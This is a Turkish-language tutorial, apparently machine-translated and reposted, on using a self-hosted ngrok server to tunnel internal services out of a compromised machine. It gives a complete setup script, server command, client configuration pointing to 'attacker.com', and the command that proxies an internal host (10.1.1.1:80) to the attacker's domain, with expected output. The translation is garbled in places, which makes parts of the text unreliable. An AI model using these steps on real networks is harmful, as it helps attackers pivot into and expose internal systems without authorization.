Ngrok’u kısıtlayıcı ortamlarda proxy dahili sunucularına kullanma


Bir ağdaki bir makineye kabuk erişimi kazanırken, umut verici bir saldırı vektörü, dahili ağı, tehlikeye atılan makineden erişilebilecek web uygulamaları ve hizmetler için kontrol etmektir.

Genellikle, dahili web uygulamaları yerel alt ağlarda bulunur ve bir saldırganın ağda potansiyel olarak daha fazla erişimi olan başka bir makineye erişmek için bu uygulamaları keşfetmesine veya kullanmasına izin verebilir.

Ancak, sadece tehlikeye attığınız bir makinede kabuk erişimi olan bir saldırgıysanız, tehlikeye atılan makinede bir vekil çalıştırmak her zaman kolay bir iş değildir. SSH erişimine sahip olmadığınız, ayrıcalıkları artıramayacağınız veya bağlantı noktalarını açamayacağınız senaryolarda, yerel ana bilgisayarları kendi sunucunuza proxy yapmak isterken bir çözüm akla gelir.

Burası Ngrok aracı kullanışlı geliyor. Ngrok Wiki’nin GitHub’da açıkladığı gibi, araç size izin verir:

  • Bir NAT veya Güvenlik Duvarı’nın arkasındaki HTTP hizmetlerini, bir alt alanda İnternet’e maruz bırakın.
  • Bir NAT veya Güvenlik Duvarı’nın arkasındaki herhangi bir TCP hizmetini, Rastgele Bir Limanında İnternet’e maruz bırakın.
  • Tünel üzerinden iletilen tüm HTTP isteklerini/yanıtlarını inceleyin
    Tünel üzerinden iletilen herhangi bir isteği tekrar oynatın

NGROK sunucu ve istemciden oluşur. Kutudan bir NGROK istemcisi kullanırsanız, müşteri, söz konusu yerel ana bilgisayar ve bağlantı noktasını ngrok.com’da rastgele bir alt alana vekalet eder – NGROK projesinin bakıcıları tarafından ücretsiz olarak (sınırlamalarla) sağlanan bir hizmettir.

İşte Ngrok’un işlevlerini gösteren iyi bir diyagram:

Ancak, NGROK ayrıca kendi sunucusunu çalıştırma seçeneği de sunar. Proxying yaptığınız trafiğin üçüncü taraf ngrok hizmetinden geçmemesini sağlamak için muhtemelen yapmak istediğiniz şey budur.

NGROK öncelikle Go tabanlı bir araç olduğundan, NGROK istemcileri son derece taşınabilir ve Mac, Windows, Linux/ARM ve FreeBSD’de önceden derlenmiş tek bir ikili ile çalışır.

Kendi NGROK sunucunuzu ayarlamak için şu adımları izleyin:

Bir etki alanı alın ve aşağıdaki DNS kayıtlarını ekleyin:

attacker.com -> your_host_ip
*.attacker.com -> your_host_ip

Ngrok_domain değişkeninde alan adınızı kullanmak için aşağıdaki komut dosyasını değiştirin ve setupngrok.sh:

NGROK_DOMAIN="attacker.com"
git clone https://github.com/inconshreveable/ngrok.git
cd ngrok

openssl genrsa -out rootCA.key 2048
openssl req -x509 -new -nodes -key rootCA.key -subj "/CN=$NGROK_DOMAIN" -days 5000 -out rootCA.pem
openssl genrsa -out device.key 2048
openssl req -new -key device.key -subj "/CN=$NGROK_DOMAIN" -out device.csr
openssl x509 -req -in device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000

cp rootCA.pem assets/client/tls/ngrokroot.crt
# make clean
make release-server release-client

(https://gist.github.com/lyoshenka/002b7fbd801d0fd21f2f)

Komut dosyasını aracılığıyla çalıştırın bash setupngrok.sh Ve sonra dizinleri NGROK klasörüne değiştirin cd ngrok.

Şimdi, son kısım, NGROK sunucusunu çalıştırmak için aşağıdaki komutu çalıştırmalısınız (komut dosyası tarafından daha önce oluşturulan SSL .Key ve .crt belirtirken):

bin/ngrokd -tlsKey=device.key -tlsCrt=device.crt -domain="$NGROK_DOMAIN" -httpAddr=":8000" -httpsAddr=":8001"

Yukarıdaki komutu çalıştırmak aşağıdakileri döndürürse, gitmek için iyi olmalısınız:

[11/18/15 00:52:24] [INFO] [metrics] Reporting every 30 seconds
[11/18/15 00:52:24] [INFO] [registry] [tun] No affinity cache specified
[11/18/15 00:52:24] [INFO] Listening for public http connections on [::]:8000
[11/18/15 00:52:24] [INFO] Listening for public https connections on [::]:8001
[11/18/15 00:52:24] [INFO] Listening for control and proxy connections on [::]:4443

NGROK istemcisini şuradan kopyalayın ngrok/bin/ngrok Geri ihmal edilen ana bilgisayarınıza ve ardından iç trafiği vekaleten aşağıdaki komutları çalıştırın:

NGROK_DOMAIN="attacker.com"
echo -e "server_addr: $NGROK_DOMAIN:4443\ntrust_host_root_certs: false" > ngrok-config
./ngrok -config=ngrok-config 10.1.1.1:80

Yukarıdaki son komut, 80 numaralı bağlantı noktasında 10.1.1.1 yerel adresini, saldırgan.com’da bulunan NGROK sunucunuza tünelleştirecektir. Her şey yolunda giderse, aracın çıkışı şöyle görünmelidir:

Tunnel Status                 online
Version                       1.3/1.3
Forwarding                    http://3a4bfceb.attacker.com -> 10.1.1.1:80
Forwarding                    https://3a4bfceb.attacker.com -> 10.1.1.1:80
Web Interface                 http://127.0.0.1:4040
# Conn                        0
Avg Conn Time                 0.00ms

Artık https://3a4bfceb.attacker.com adresini ziyaret edebilmelisiniz – bu aslında dahili trafiği, dahili sunucu aracılığıyla 10.1.1.1:80 numaralı ana sunucuya proxying.

Bu teknik, dahili ağ için bir proxy oluşturmanın kolay bir yolu olmadan iç ortamlara sıkıştığında gerçekten yararlı olabilir.



Source link